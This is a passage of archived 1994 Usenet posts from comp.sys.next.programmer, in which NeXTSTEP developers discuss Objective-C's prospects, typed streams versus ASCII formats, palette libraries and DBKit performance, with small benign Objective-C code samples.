From: jeffo@uiuc.edu (J.B. Nicholson-Owens) Newsgroups: comp.sys.next.programmer Subject: Re: Is Objective - C a dead language ? Date: 25 Jan 94 07:19:15 GMT Organization: University of Illinois at Urbana Distribution: world Message-ID: <jeffo.759482355@uiuc.edu> References: <2i173i$h65@geraldo.cc.utexas.edu> [Why did this have 'usa' distribution on it? Are programming language opinions somehow specific to the US? I changed it to what I feel to be more appropriate--'world'.] jirapa@nextover.pe.utexas.edu writes: >The instructor said that objective-C is a dead language. In terms of commercial support across platforms, I think that's probably true. NS is one of few places where Obj-C is supported. Tons of compilers (both free and licensed) support C++ on a wide variety of platforms large and small. A lot of programming jobs will probably require or prefer C++ knowledge instead of Obj-C knowledge (therefore making Obj-C "dead" in terms of marketing). In terms of learning OOP principles with an easy to remember and learn language, I would say C++ is probably the worst choice of language you could pick (and Obj-C isn't that wonderful either); I'd say Smalltalk is a far simpler, easier to read and understand on first glance programming language than either C++ or Obj-C, so Obj-C might be "dead" compared to other OOPLs. Maybe you should learn Smalltalk, C++ and Obj-C and make your own opinion. -- J.B. Nicholson-Owens (*NO* NeXTmail please)
From: bpja@xedoc.com.au (Brett Adam) Newsgroups: comp.sys.next.programmer Subject: Re: Distributed Objects Gurus: can you answer these? Date: 25 Jan 1994 07:29:03 GMT Organization: Connect.com.au Pty Ltd, Melbourne, Australia Distribution: world Message-ID: <2i2hnv$n89@yarrina.connect.com.au> References: <1994Jan18.151511.524@stone.com> In article <1994Jan18.151511.524@stone.com> andrew@stone.com (Andrew Stone) writes: > I'm working on some software which has three basic intertalking programs: the client, the FileNameServer, and the DataServer (of which there is one per database). > Andrew, I had the same troubles with system() and GDB. Caused me no end of frustration until I gave up my system() habit and began using the sanctioned exec() calls in combination with fork(). Check out the subprocessplus class for an example of spawning subprocesses under AppKit control if you need that. Then again, why not D/Obj to launch your remote DataServers? Would require a small process to run on each NEXTSTEP system, it is true but think of the extra goodies your server could do ... Regards, Brett Adam ------------------------------------------------------------------- Brett Adam Xedoc Software Development Pty. Ltd. Melbourne, Australia Phone : +61 3 696 2490 Fax : +61 3 696 6757 Internet : (NeXTMail welcome) bpja@xedoc.com.au AppleLink: AUST0335 Street : 222 Park St, South Melbourne 3205, Victoria, Australia Postal : PO Box 293, Albert Park 3206, Victoria, Australia -------------------------------------------------------------------
Newsgroups: comp.sys.next.programmer From: mike@lorax.com (Mike Ferris) Subject: Re: Rich Text Source Code?! Message-ID: <CK5wJp.58L@lorax.com> Sender: mike@lorax.com (Mike Ferris) Organization: Stultus Enterprises References: <1469@rtbrain.rightbrain.com> Date: Tue, 25 Jan 1994 01:38:12 GMT I agree with Glenn, what we need is a new file format which is basically rtf but embedded within a comment. Just put all the icky, non-text, non-c stuff inside comments (and in attached files) and have the editor deal with it. Of course, we'll also want the editor to do source code formatting on the rest. How about something like /* RTFComment [the rtf snippet goes here.] */ The only problem is you've got to be sure the comment doesn't get terminated pre-maturely... I think something like this would work well if done well. ____________________________________________________________ Mike Ferris Everybody understands Mickey Mouse mike@lorax.com Few understand Herman Hesse Rubicon Software Only a handful understood Einstein (510) 652-2039 And nobody understood Emperor Norton
Newsgroups: comp.sys.next.programmer From: mike@lorax.com (Mike Ferris) Subject: Re: Typed streams are evil Message-ID: <CK5xIq.5AB@lorax.com> Sender: mike@lorax.com (Mike Ferris) Organization: Stultus Enterprises References: <2httns$98@steffi.demon.co.uk> Date: Tue, 25 Jan 1994 01:59:14 GMT I think the orginal poster makes at least one good point. There are MANY advantages to using ascii file formats. (Especially for hard core uniox hackers.) Several apps have included ascii file formats recently. DBModeler does for the very good reason that the person (or program) writing the model might not have access to the app. Diagram also supports an ascii file format now. Typed streams (and binary formats in general) have the advantages of being more direct, easier to use, and probably much more efficient (space and time). Ascii formats allow much greater flexibility, and allow all the sorts of filtering or tweaking of the files you might want to do. Ideally, I suppose, one supports both a fast, efficient binary file type and a flexible, but maybe slower ascii format. ____________________________________________________________ Mike Ferris Common sense is what tells you mike@lorax.com that the world is flat. Rubicon Software -Malaclypse the Younger (510) 652-2039
From: scheurer@lithnext.epfl.ch (Marco Scheurer) Newsgroups: comp.sys.next.programmer Subject: Palettes and NIKit Date: 25 Jan 1994 10:37:46 GMT Organization: Ecole Polytechnique Federale de Lausanne Message-ID: <2i2spq$qit@disuns2.epfl.ch> Hi, Is it possible to build a palette object that uses the (NetInfo) NIKit, and use it in Test Mode with IB? How? I think there is a problem because IB is not linked against libni_s.a, and NIKit comes only as a a shared library, so, its object code cannot be included in the palette. Am I wrong? Is there another way? Thanks for any info. m --- In 1994 Microsoft will introduce Windows 4.0. And you'll see why 1994 will be just like 1984. Marco Scheurer (scheurer@lithnext.epfl.ch, NeXTMail) Laboratoire d'Informatique Theorique Ecole Polytechnique Federale de Lausanne (Switzerland) (+41) 21 693-2589
Newsgroups: comp.sys.next.programmer From: gsl@netcom.com (Greg Lindholm) Subject: Re: Hard Drive Information Message-ID: <gslCK6Gzw.6tp@netcom.com> Organization: NETCOM On-line Communication Services (408 241-9760 guest) References: <khERD9W00iV1E6p0ol@andrew.cmu.edu> Date: Tue, 25 Jan 1994 08:59:56 GMT Charles William Swiger (infidel+@CMU.EDU) wrote: : Excerpts from netnews.comp.sys.next.programmer: 22-Jan-94 Re: Hard Drive : Information by Greg Lindholm@netcom.com : > : I've read a brochure from a company that makes copy protection software : > : for NeXTSTEP/Intel. They claim to be using a unique serial number from : > : the drive. Is this possible? : > : > I've done this from MS-DOS, each drive is given a "unique" timestamp based : > number when it is formatted. I've used this number as a machine id for : > generating a license key. I have no idea if this is available or how : > to get it from NEXTSTEP. : Why bother? The gethostid() call is secure enough for normal use; : anyone who knows enough to patch their kernel to dodge this knows enough : to crack other forms of protection, anyway. Your right it likely is "secure" enough for normal use, however NeXT goes to the trouble of writing in there "Supplemental Release Notes for NEXTSTEP Developer" "NeXT recommends not using gethostid() to implement copy-protection schemes." They explain that for intel machines it is based on the network configuration and the value returned can change if the host's network configuration changes. Copy protection on intel machines is not pretty and I've yet to hear of a really good scheme for doing it. Greg Lindholm gsl@netcom.com
From: scheurer@lithnext.epfl.ch (Marco Scheurer) Newsgroups: comp.sys.next.programmer Subject: Palettes and Categories Date: 25 Jan 1994 10:54:24 GMT Organization: Ecole Polytechnique Federale de Lausanne Message-ID: <2i2tp0$b5@disuns2.epfl.ch> Hi, This is a followup of a question I posted just before Christmas. I've received a few answers, but of little help probably because I wasn't clear in my description of the problem. Please bear with me, and let me try again: I have a library, let's call it libMyLib.a This library is maintained with a "library" project. There is no official support for library project in Project Builder, but this can be done easily by modifying PB (see a recent announcement by Michael Pizolato, michael@afs.com, about this). This library file includes the object code for some categories of Text and View that I have written. I have no problems with that. I have application projects using these categories. It works fine, when compiling and executing. All I have to do is to include libMyLib.a in these projects. The problem comes when I try to use these categories in a palette object, in Test mode in Interface builder. What is the correct method to use libraries in palette projects? What I did was to put the following line in the Makefile.preamble of the palette project: OTHER_OFILES = /usr/local/lib/libMyLib.a Doing that, I can use my object in test mode in IB, and have it perform operations those object code is in libMyLib.a, excepted for methods defined in categories of standard IB palettes objects. For instance, when the -appendString: message is sent to a Text object, IB generates a runtime error message to the effect that Text does not respond to -appendString:. But it works fine when I put the source code for the categories in the palette project! I don't know what's wrong. Any help appreciated. Thanks. m --- In 1994 Microsoft will introduce Windows 4.0. And you'll see why 1994 will be just like 1984. Marco Scheurer (scheurer@lithnext.epfl.ch, NeXTMail) Laboratoire d'Informatique Theorique Ecole Polytechnique Federale de Lausanne (Switzerland) (+41) 21 693-2589
From: zeno@abstractsoft.com (Sean T. Lamont) Newsgroups: comp.sys.next.programmer Subject: Re: Fax Date: 25 Jan 1994 11:14:32 GMT Organization: Abstract Software Message-ID: <2i2uuo$kfh@news.u.washington.edu> References: <1994Jan23.233512.1672@planon.qc.ca> In article <1994Jan23.233512.1672@planon.qc.ca> yanik@planon.qc.ca (Yanik Crepeau) writes: >is no way to set the Fax number. Enscript would be a good way to investigate but once >again it has no provision to let the user indicate which Fax number the printout is >intended to. > It's in the postscript header. Something like the following: %%NXFaxVersion: 300 %%NXFaxNumber: [number here] %%NXFaxTo: Fax Destination %%NXFaxNotify: NO %%NXFaxHires: YES %%NXFaxTrim: NO\n %%NXNextStepVersion: 3.0 -- Sean T. Lamont | Ask me about the WSI-Fonts Abstract Software | Professional collection for NeXT lamont@abstractsoft.com |____________________________________
From: Charles William Swiger <infidel+@CMU.EDU> Newsgroups: comp.sys.next.programmer Subject: Re: math.h and -traditional Date: Tue, 25 Jan 1994 08:04:14 -0500 Organization: Fifth yr. senior, Chemistry, Carnegie Mellon, Pittsburgh, PA Message-ID: <0hFFXCK00iUyE1HbIQ@andrew.cmu.edu> In-Reply-To: <2i1tsm$t7d@hsdndev.harvard.edu> Excerpts from netnews.comp.sys.next.programmer: 25-Jan-94 math.h and -traditional by Koichi Oshio@bwh.harvard > I have been trying to compile certain programs with "-traditional" flag, > because one macro is expecting comments to become null, instead of a space > after pre-processing. "-traditional" flag works as expected, however, > ARCH_INCLUDE() macro (to find machine dependent part of math.h) now doesn't > work, causing sintax error. Try seeing whether just "-traditional-cpp" will work for you. -Chuck Charles William Swiger - WhiteLight Systems --------------------------------------------+ AMS & normal mail: infidel@cmu.edu | 1. You can't fly. Failing that: cs4w+@andrew.cmu.edu | 2. Cars are always real. NeXTmail: chuck@cswiger.slip.andrew.cmu.edu | 3. Police are not your friends. --------------------------------------------+ 4. Fire burns.
Newsgroups: comp.sys.next.programmer From: chris@its.com (Chris Cuilla) Subject: Re: Objectware License Agreements Message-ID: <1994Jan25.152845.17103@il.us.swissbank.com> Sender: root@il.us.swissbank.com (Operator) Organization: Swiss Bank Corporation CM&T Division References: <CK68qw.3p0@dsinc!flash> Date: Tue, 25 Jan 1994 15:28:45 GMT flash!jon@dsi.com writes > In article <1994Jan24.232813.27609@CSD-NewsHost.Stanford.EDU> > hsr@cs.Stanford.EDU (Scott Roy) writes: > > Lyle D. Parkyn writes, > > > > | 5% is a reasonable cut if the developer is only using 1 or 2 > > | Objectware offerings. It could be too much if say 5 or 10 Objectware > > | offerings were used in the product. That's 25-50% of revenue! > > > > True, but I'm not sure it's all that unreasonable. If I write a > > program that depends on the work of ten other developers, it seems > > they should get the money they're asking for before I start getting > > rich. Just like any other loan, the more debt I incur, the longer I > > have to wait before I can profit. > > The problem is that it's not a loan, it's more like a tax. You can never > pay it off. (Unless I missed something in the original article) the > commercial developer will always be paying the same amount of royalties. > Chances are, none of his other costs will give either, so something has > to give. Well, he could raise the price, but then he winds up giving > more for taxes and for royalties. Perhaps I mis-read the agreement...but I thought that the royalty was only to be paid until the license agreement fee was paid off, or some such thing. Am I wrong? -- Chris Cuilla --- NEXTSTEP Developer chris@its.com --------------------------------------------------------------------- "There's no such thing as a 'part-time' perfectionist."
From: art@cubicsol.com (Art Isbell) Newsgroups: comp.sys.next.programmer Subject: Re: MultiMedia Source Code - was Re: RTF source code is evil (RTF) Date: 25 Jan 1994 16:27:10 GMT Organization: University of California, Santa Cruz Distribution: world Message-ID: <2i3h8u$lai@darkstar.UCSC.EDU> References: <1994Jan24.193236.11217@its.com> In article <1994Jan24.193236.11217@its.com> ericw@its.com (Eric Wespestad) writes: Huh? It depends on whether you prefer this (the unmodified orginal): [ASCII source example omitted] or this (formatted automatically by RTFSyntax.app): [RTF source example omitted] NewsGrazer and I prefer no color RTF postings. Even though dread reports: NewsGrazer NXWindowDepthLimit TwoBitGray my NewsGrazer window has now been promoted to 12 bits and will remain so until I quit NewsGrazer (I'm not accustomed to such sluggish scrolling on a mono Cube :-( Anyone know how NewsGrazer can ignore my NXWindowDepthLimit setting? -- Art Isbell Cubic Solutions NeXT Registered Consultant NEXTSTEP software development and consulting NeXTmail: art@cubicsol.com Voice: +1 408 335 1154 USmail: 95018-9442 Fax: +1 408 335 2515
From: art@cubicsol.com (Art Isbell) Newsgroups: comp.sys.next.programmer Subject: Re: Typed streams are evil Date: 25 Jan 1994 16:42:04 GMT Organization: University of California, Santa Cruz Distribution: world Message-ID: <2i3i4s$lh1@darkstar.UCSC.EDU> References: <CK5xIq.5AB@lorax.com> In article <CK5xIq.5AB@lorax.com> mike@lorax.com (Mike Ferris) writes: > > I think the orginal poster makes at least one good point. There are MANY > advantages to using ascii file formats. (Especially for hard core uniox > hackers.) > > Several apps have included ascii file formats recently. DBModeler does > for the very good reason that the person (or program) writing the model > might not have access to the app. Diagram also supports an ascii file > format now. > > Typed streams (and binary formats in general) have the advantages of being > more direct, easier to use, and probably much more efficient (space and > time). Ascii formats allow much greater flexibility, and allow all the > sorts of filtering or tweaking of the files you might want to do. > Ideally, I suppose, one supports both a fast, efficient binary file type > and a flexible, but maybe slower ascii format. The problem I have with ASCII files in general is that a parser must be written to read them. Parsing of typed streams is handled automatically. Also, any bozo (including me :-) can edit an ASCII file and introduce syntax errors that the parser can't handle thus breaking the app that depends on the file. Of course, binary files can be editted as well, but when one is opened in one's favorite editor, the user usually realizes that correct editting is hopeless, so the introduction of syntax errors are much less likely. Mike's last suggestion is probably the best of both worlds, but we will all need to learn (f)lex and yacc (bison) (a good thing to know anyway) so that we can provide parsers for the ASCII version and compilers to convert between the 2 formats (ala DBModeler) with the fast binary version being the one actually used by apps. So the consideration becomes whether the sometimes considerable amount of time required to write the parser/compiler in order to provide support for an ASCII version is justified when using typed streams is a slam-dunk that works quite well. -- Art Isbell Cubic Solutions NeXT Registered Consultant NEXTSTEP software development and consulting NeXTmail: art@cubicsol.com Voice: +1 408 335 1154 USmail: 95018-9442 Fax: +1 408 335 2515
Newsgroups: comp.sys.next.programmer From: hsr@cs.Stanford.EDU (Scott Roy) Subject: Re: Objectware License Agreements Message-ID: <1994Jan25.180235.12452@CSD-NewsHost.Stanford.EDU> Sender: news@CSD-NewsHost.Stanford.EDU Organization: Computer Science Department, Stanford University, California, USA References: <1994Jan25.152845.17103@il.us.swissbank.com> Date: Tue, 25 Jan 1994 18:02:35 GMT Chris Cuilla writes, | | Perhaps I mis-read the agreement...but I thought that the royalty was | only to be paid until the license agreement fee was paid off, or some | such thing. Am I wrong? | Chris is 100% correct. The original agreement capped the royalty payments at the upfront fee. I've since raised that to 1.5x the upfront fee, since it seems reasonable to ask developers to pay a premium for the loan. --- Scott Roy Department of Computer Science Stanford University
Newsgroups: comp.sys.next.programmer From: Michael_Pizolato@afs.com (Michael Pizolato) Subject: Re: Rich Text Source Code?! Message-ID: <1994Jan25.125509.501@afs.com> Sender: Michael_Pizolato@afs.com References: <1994Jan23.141958.1603@FreemanSoft.com> Distribution: world Date: Tue, 25 Jan 1994 12:55:09 GMT Joe Freeman writes [snip] >There are already some features in Edit that could be considered C code >specific. ie: structure crunching , paren matching and indentation. I don't think that any of these are C-specific. The structure crunching is not structure crunching, it is indentation crunching, based entirely on tabs and blank lines and not at all on text content. Paren (and square brakcet) matching would be just as useful in Pascal. And good indenting practice applies to any programming language, and my personal indentation style is exactly the same for C and Pascal, for example. It's also true that these features are always available, even when editing non source code files. Thanx, Michael -- Michael_Pizolato@afs.com "Schopenhauer's not as optimistic as Nietzsche, NeXTMail accepted but he makes up for it by being less cheerful than Kierkegaard." - Kim Pizolato
From: M.Crawford@dcs.shef.ac.uk (Malcolm Crawford) Newsgroups: comp.sys.next.programmer Subject: highlighting / ScrollViews : SUMMARY Date: 25 Jan 1994 12:59:01 -0600 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9401251820.AA09477@dcs.shef.ac.uk> My original problem: > What do you do when the bit you've highlighted is in a > View in a ScrollView? When the user scrolls, the > highlighted bit (unsurprisingly) disappears. I presume > that I should have the highlighted (highlit?!) rect stored > as an instance variable, and in drawSelf:: draw > appropriate bits of it? Or is there a better way? > You have, as I suggested, to keep track of the whole selected rectangle, but here I'm only rehighlighting the bits that come back into view when scrolling by checking for an intersection between the rect that's being redrawn and the highlighted rect. I hope this is clear from this bit of code? /* ---------------------------------------------------------------- */ - drawSelf:(const NXRect *)rects :(int)rectCount { NXRect *rp; NXRect r, visibleRect; int j; [super drawSelf:rects :rectCount]; for (j = 0; j < rectCount; j++) { rp = &r; r = rects[j]; if (!NXEqualRect(rp, &oldHighlightedRegion)) rp = NXIntersectionRect(&oldHighlightedRegion, rp); if (rp) { NXHighlightRect(rp); } } return self; } --- Thanks in particular to Seeger Fisher for pointing me in the direction of ScrollDoodScroll, a very useful Example I'd completely overlooked -- my apologies :-( From it I learned how easy automatic scrolling is -- [self getVisibleRect:&visibleRect]; [self convertRect:&visibleRect toView:nil]; if (!NXContainsRect(&visibleRect, ®ion)) { [window disableFlushWindow]; [self scrollRectToVisible:®ion]; [window reenableFlushWindow]; } where region is the area between last and current mouse x,y in the curent View's coordinates. ScrollDoodScroll also contains useful code to show how to use an NXTimer to ensure that scrolling continues if the mouse is outside the View but not moving (and so not sending any further events). Have fun, mmalcolm.
From: Ralph_Zazula@next.com (Ralph Zazula) Newsgroups: comp.sys.next.programmer Subject: Re: Problem distributing palette resources. Date: 19 Jan 1994 19:01:37 GMT Organization: NeXT, Inc. Distribution: world Message-ID: <2hk02h$i1t@rosie.next.com> References: <2hi43f$r0a@yarrina.connect.com.au> >I've made my own subclass of NXBrowserCell which draws a dot on the >left hand side of the cell... [...] >So how do I distribute palette resources >(such as sounds and pictures) so that other projects can use >them?? I could write some postscript code to draw the dot...but >then it wouldn't look as good. Any suggestions??? Hi - Since you have to include the code (or object files) for your custom class anyway, here are two ideas: 1. Distribute it as a Subproject. Just include the Image in the "Images" folder of the subproject and place the source in the "Classes" and "Headers" folders. If you are distributing only compiled classes, put the object files in the "Other Sources" folder. 2. Distribute it as a Bundle Create a bundle project that includes your custom cell and the image(s). Compile it and distribute the bundle with the header file for the custom class. Your custom class should then search the bundle for the image, (i.e., [NXBundle bundleForClass:[self class]]) and users of your custom cell can load the bundle and use the -principleClass method to access the class of the cell. Note: both of these methods are compatible with your palette project. That is, your palette can contain a link to the cell Subproject, or the Bundle project. This helps you keep the classes in your palette and the distribution in sync. Ralph -- Ralph Zazula Developer Trainer NeXT, Inc. Ralph_Zazula@next.com (415)780-2893
From: M.Crawford@dcs.shef.ac.uk (Malcolm Crawford) Newsgroups: comp.sys.next.programmer Subject: instance-drawn text upside down when scrolling Date: 25 Jan 1994 13:26:39 -0600 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9401251927.AA09727@dcs.shef.ac.uk> I'm displaying current selection coordinates in a View using Instance drawing. It all works fine up until I start scrolling. Thereafter the correct numbers seem to appear in about the right place, but upside-down and back-to-front. Can anybody offer any suggestions as to where to look for the bug, or what remedial action I might take? [The coordinate system does not seem to be flipped...?] I can send code to anybody who's interested, but there's a bit much of it to warrant sending all at this stage. Have fun, mmalcolm.
From: mike@ceramics.cmpe.ubc.ca (Michael C. Cam) Newsgroups: comp.sys.next.programmer Subject: Errors occur when archiving Date: 25 Jan 1994 19:17:47 GMT Organization: The University of British Columbia Distribution: world Message-ID: <2i3r8r$nb0@nntp.ucs.ubc.ca> Hi, I'm getting the following error message ... (gdb) Program generated(1): Memory access exception on address 0x3f7ffbc (invalid address). 0x500a538 in NXDefaultWrite () .. it only occurs when I start archiving a lot of data. To give a bit of background on my program I am writing a model of a 2D solid. Everything is fine when the network size is 40x40 but when I make it larger (eg. 50x50) the error occurs. Is there some kind of upper limit to the memory that I can write to / read from. As far as I know all the data is sound as I can see the network in a view and the only time this error occurs is during archiving. I won't give too much detail here to save some banwidth but if anyone can help please write to me. Thanks in advance. -- ..Mike. ___________________________________________________________________ | | | ___ ^ ... /\ BEAUTIFUL | | _|_::| ___o '|`^ .. o_ . .. /\ / \ BRITISH | | |:::|:| \ \, ^ '|`|` (`_|/____') / / /\ COLUMBIA | | |:::|:| (o)/ (o) '|`'|`|`` ,,/ . ... . .. / \ | |-------------------------------------------------------------------| | Michael C. Cam E-MAIL (NeXT Mail OK) HOME 604-263-7609 | | UBC Materials Eng. mike@ceramics.cmpe.ubc.ca WORK 604-822-3122 | |___________________________________________________________________|
Newsgroups: comp.sys.next.programmer From: chris@its.com (Chris Cuilla) Subject: Wondering about OpenStep... (WAS: CALL FOR VOLUNTEERS....) Message-ID: <1994Jan25.193351.18749@il.us.swissbank.com> Sender: root@il.us.swissbank.com (Operator) Organization: Swiss Bank Corporation CM&T Division Date: Tue, 25 Jan 1994 19:33:51 GMT I'm wondering, maybe someone knows the answer to this. As part of the OpenStep specification and (I assume) part of future NEXTSTEP releases, will NeXT be publishing further extensions to the InterfaceBuilder protocols, plus a ProjectBuilder protocol, and Edit protocol, as well as public specifications for the ".nib" and "PB.project" file formats? My guess is, that once all of this is available...writing another one of these apps would be considerably more useful. In other words, yes, I could reverse-engineer/hack the file formats and such things...but life would be so much more pleasant if there was simply a spec that I had to adhere to. Maybe I'd buy (or sell) a set of classes that would interact with these things at the low levels. Hmmm... -- Chris Cuilla --- NEXTSTEP Developer chris@its.com --------------------------------------------------------------------- "There's no such thing as a 'part-time' perfectionist."
Newsgroups: comp.sys.next.programmer From: thf@zelator.de (Thomas Funke) Subject: Re: Invitation to NeXT programmers Message-ID: <1994Jan24.133133.1068@gamelan> Sender: thomas@gamelan (thomas) Organization: Disorganization References: <1994Jan21.020039.17192@afterlife.ncsc.mil> Date: Mon, 24 Jan 1994 13:31:33 GMT In article <1994Jan21.020039.17192@afterlife.ncsc.mil> abreeve@afterlife.ncsc.mil (Allen B. Reeves) writes: > > Being a past user and supporter of the > NeXT computer line, > I personnally invite all of you talented people to consider > > the Amiga platform. I'd actually prefer Nintendo .... -- ------------------------------------------------------------------ Thomas Funke ** Unix-Consultant ** thf@zelator.de Brooks's Law: Adding manpower to a late software project makes it later ------------------------------------------------------------------
From: art@cubicsol.com (Art Isbell) Newsgroups: comp.sys.next.programmer Subject: Makefile dependencies on precompiled headers Date: 25 Jan 1994 20:51:38 GMT Organization: University of California, Santa Cruz Distribution: world Message-ID: <2i40oq$rsl@darkstar.UCSC.EDU> I use several palettes in the app I'm working on. Each of these palettes has a precompiled header that source files in the main app project import. I use the #import "FooPalette.h" syntax and add -I/LocalDeveloper/Headers/FooPalette to OTHER_CFLAGS so that FooPalette.h will be added to Makefile.dependencies where appropriate when PB's "depend" target is built. This works as expected, but when a change to a palette header causes its precompiled header to be rebuilt, the source files that depend on the precompiled header aren't rebuilt as I expected :-( Why? Because the dependency is on FooPalette.h, not FooPalette.p, and the modification time of FooPalette.h doesn't change when one of its constituent header files is changed. So while the preprocessor has precompiled header smarts, the -MM flag to cc (which builds Makefile.dependencies) apparently doesn't :-( So my kludgy fix is to edit Makefile.dependencies to replace all precompiled header ".h" references with ".p", not what I'd call an elegant solution :-) Does anyone have a workaround to this problem? -- Art Isbell Cubic Solutions NeXT Registered Consultant NEXTSTEP software development and consulting NeXTmail: art@cubicsol.com Voice: +1 408 335 1154 USmail: 95018-9442 Fax: +1 408 335 2515
From: art@cubicsol.com (Art Isbell) Newsgroups: comp.sys.next.programmer Subject: DBTableView performance problems Date: 25 Jan 1994 21:13:11 GMT Organization: University of California, Santa Cruz Distribution: world Message-ID: <2i4217$sig@darkstar.UCSC.EDU> I use tableViews extensively. They're a very complex, functional GUI object. However, they seem to be quite slow in displaying fetched data :-( To minimize this problem, I never use editable tableViews (they're even slower) and provide textFields for data entry and display, using the tableView as a record selector only. As such, I can configure the minimum number of tableVectors that permits easy identification of each record. I also provide an easy way to limit the number of rows fetched. Prior to 3.2, I noticed an annoying flashing of tableViews upon data fetching, so I disabled window flushing to prevent this flashing. But this appeared to be fixed in 3.2, so I don't disable window flushing as much as I used to. However, I think I just discovered the reason for the flashing which NeXT has apparently covered up in 3.2, but hasn't fixed the root of the problem, the unnecessary multiple display of tableView data. I've installed custom textFormatter subclasses to provide custom formatting in certain tableVectors (e.g., display localized "No" and "Yes" rather than the 0 and 1, respectively, that are stored in the database). Tracking down a bug, I noticed that beginBatching:, resetBatching: and endBatching are invoked 3 times for each batch of data fetched and within each set, drawFieldAt::inside:inView:withAttributes::usePositions:: is invoked 3 times per data row for each textFormatter. So this results in data being retrieved from the recordList, formatted, and displayed 3 times as often as necessary which might have an impact on the slow display speed I'm seeing with tableViews (I haven't done any timing tests). The problem is, how does one fix this in a general manner? I'm sure this unnecessary display is occurring for all tableVectors, not just my custom ones. The culprit is DBTableView which sends the beginBatching:, etc. messages to the various textFormatters. I can keep track of the number of beginBatching: sets and display on only the 3rd set (doing so on only the first set fails to display anything) for my custom textFormatters, but has anyone fixed this bug (or is it even a bug?) for the standard textFormatters that are used by default? The only approach I've been able to come up with is replacing all tableVector formatters programmatically with a fixed subclass. I'd like to be able to have the fixed subclass poseAs: the DBTextFormatter class, but I need to add an ivar to keep track of the number of beginBatching: sets, so posing won't work. Thanks for your thoughts and suggestions. -- Art Isbell Cubic Solutions NeXT Registered Consultant NEXTSTEP software development and consulting NeXTmail: art@cubicsol.com Voice: +1 408 335 1154 USmail: 95018-9442 Fax: +1 408 335 2515
From: art@cubicsol.com (Art Isbell) Newsgroups: comp.sys.next.programmer Subject: P.D.O. specifications Date: 25 Jan 1994 21:43:46 GMT Organization: University of California, Santa Cruz Distribution: world Message-ID: <2i43qi$74@darkstar.UCSC.EDU> Has anyone seen a P.D.O. spec? I've seen only general descriptions. What I'd like to know is whether the non-GUI classes of DBKit are included? Would it be possible to use P.D.O. to more rapidly fetch data from a database server using a DBRecordList (or even a DBBinder - yuk :-) that's running on the fast HP database server hardware rather than writing everything using Sybase DB-Lib calls as we have to do now?
From: Mike_Paquette@next.com Newsgroups: comp.sys.next.programmer Subject: Re: Is Objective - C a dead language ? Date: 24 Jan 1994 20:29:47 GMT Organization: NeXT, Inc. Distribution: usa Message-ID: <2i1b3r$n7k@rosie.next.com> References: <2i173i$h65@geraldo.cc.utexas.edu> In article <2i173i$h65@geraldo.cc.utexas.edu> jirapa@nextover.pe.utexas.edu writes: > Hi, > > I had heard something blasphemous in my C++ class. The instructor said that > objective-C is a dead language. Can anybody contribute to this comment? Is it > true or false or partly true? and why? > > Jirapa A language isn't truly dead until an ANSI/ISO standard exists for it. Until that happens, the language is free to grow and evolve. (There he goes again.... For the humor-challenged, :-) ) Mike_Paquette@NeXT.COM ---- I don't speak for NeXT Computer, and NeXT Computer doesn't speak for me. Any factual information presented in this message is my responsibility, and doesn't represent anything official from NeXT Computer. In fact, it was probably produced by line noise.
Newsgroups: comp.sys.next.programmer From: mdw@sitar.jazz.att.com (Mark Wuest) Subject: Re: Typed streams are evil Message-ID: <CK7GoD.5H8@cbfsb.cb.att.com> Originator: news@cbnewsg.cb.att.com Sender: news@cbfsb.cb.att.com Organization: AT&T Bell Laboratories References: <2i3i4s$lh1@darkstar.UCSC.EDU> Date: Tue, 25 Jan 1994 21:50:36 GMT So, why doesn't NeXT support a standard ASN.1-like ASCIIfied binary file format/language. Several departments here at AT&T use such a beast for communications. We send structures back and forth between every-endian you can think of. It's proprietary, but I ported the compiler (turns a record definition into a header and ".o" file for your system) to my NeXT and it happily sent and received messages to/from several other platforms. -- Mark Wuest mdw@sitar.jazz.att.com (NeXT Mail Ok)
From: pjs@bigdog.engr.arizona.edu (Paul J. Sanchez) Newsgroups: comp.sys.next.programmer Subject: Help requested for simple view Date: 25 Jan 1994 21:36:31 GMT Organization: University of Arizona UNIX Users Group Distribution: world Message-ID: <PJS.94Jan25143631@bigdog.engr.arizona.edu> Something tells me my face is going to be a bit red when someone tells me what I'm doing wrong, but I can't see why the following is happening... I've created a subclass of View called MyView, with the interface and implementation given here... MyView.h ======== #import <appkit/appkit.h> @interface MyView:View { } - drawSelf: (const NXRect*) rects : (int) rectCount; @end MyView.m ======== #import "MyView.h" @implementation MyView - drawSelf: (const NXRect*) rects : (int) rectCount; { NXRect r; PSsetgray(NX_WHITE); // changing this to NX_BLACK works... NXRectFill(&bounds); [self setDrawOrigin: 0.0: 0.0]; [self setDrawSize: 5 : 5]; r.origin.y = 0; r.origin.x = 2; r.size.width = 1; r.size.height = 4; PSsetgray(NX_DKGRAY); NXRectFill(&r); // but this rectangle won't print! return self; } @end I grab a customview in Interface Builder, and change it to type MyView. I add a print button to the menu, and connect it to send a "smartPrintPSCode:" message to FirstResponder. When I build the project, it fires up a window, sets the background to white, and draws a gray rectangle in the middle. But when I click the print menu item and ship it off to preview (to save paper), the result is my window with white background but no rectangle. If I change the background to NX_BLACK that shows up on the "printed" version (so I know drawself is being invoked for printing), but still no rectangle. What am I doing wrong? -- --paul paul@whimsy.umsl.edu ================================================================= A free society is one where it is safe to be unpopular. -- Adlai Stevenson =================================================================
From: glenn@rightbrain.com (Glenn Reid) Newsgroups: comp.sys.next.programmer Subject: Re: Rich Text Source Code?! Message-ID: <1473@rtbrain.rightbrain.com> Date: 25 Jan 94 21:20:25 GMT References: <1994Jan24.160933.3033@sifon.cc.mcgill.ca> Sender: glenn@rightbrain.com Darcy Brockbank writes > In article <1469@rtbrain.rightbrain.com> glenn@rightbrain.com (Glenn Reid) > writes: > > files. Something really simple like > > > > //Include <pathname> > > > > would do it. It's not terribly different from the \import directive > > This is neat, but we've brought in one of the most horrible concepts > of PostScript! > > * COMMENTS THAT MEAN SOMETHING * True. However, comments, by definition, mean nothing to one piece of software (the compiler) but may mean something to others (the humans reading the code). There's no reason not to be able to imbed information in the part that the compiler ignores, in a machine-readable way. There are lots of precedents for this, PostScript notwithstanding. Even Don Knuth, department head of Stanford's Computer Science department (and author of half the books on your shelf) used this technique with his tangle/web system, in which a document processing system (TeX, I think) and a compiler (Pascal, I think) each had mutually exclusive comment conventions, and if you fed the file through TeX, all of the Pascal code was a "comment", and if you fed it through the Pascal compiler, all of the TeX code was a "comment". In PostScript, the comments mean nothing to the PostScript interpreter, and are intended to be read by other programs that can't interpret the 